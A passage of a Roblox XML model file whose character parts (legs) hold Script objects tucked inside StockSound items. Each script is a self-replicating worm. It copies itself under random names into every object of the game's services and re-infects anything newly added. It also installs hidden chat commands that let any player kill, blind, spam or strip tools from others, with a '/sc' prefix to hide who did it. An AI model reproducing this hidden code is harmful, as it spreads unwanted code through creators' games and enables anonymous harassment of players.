						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX211">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">s5vrby</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX212">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">mu1aat0</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX213">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>-9.33981037</X>
							<Y>1.29895973</Y>
							<Z>11.0444517</Z>
							<R00>-0.538089991</R00>
							<R01>7.44197024e-008</R01>
							<R02>0.842887282</R02>
							<R10>9.79912116e-008</R10>
							<R11>1</R11>
							<R12>-2.57348773e-008</R12>
							<R20>-0.842887282</R20>
							<R21>6.87478661e-008</R21>
							<R22>-0.538089991</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX214">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">240kt</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX215">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">dodyfy</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
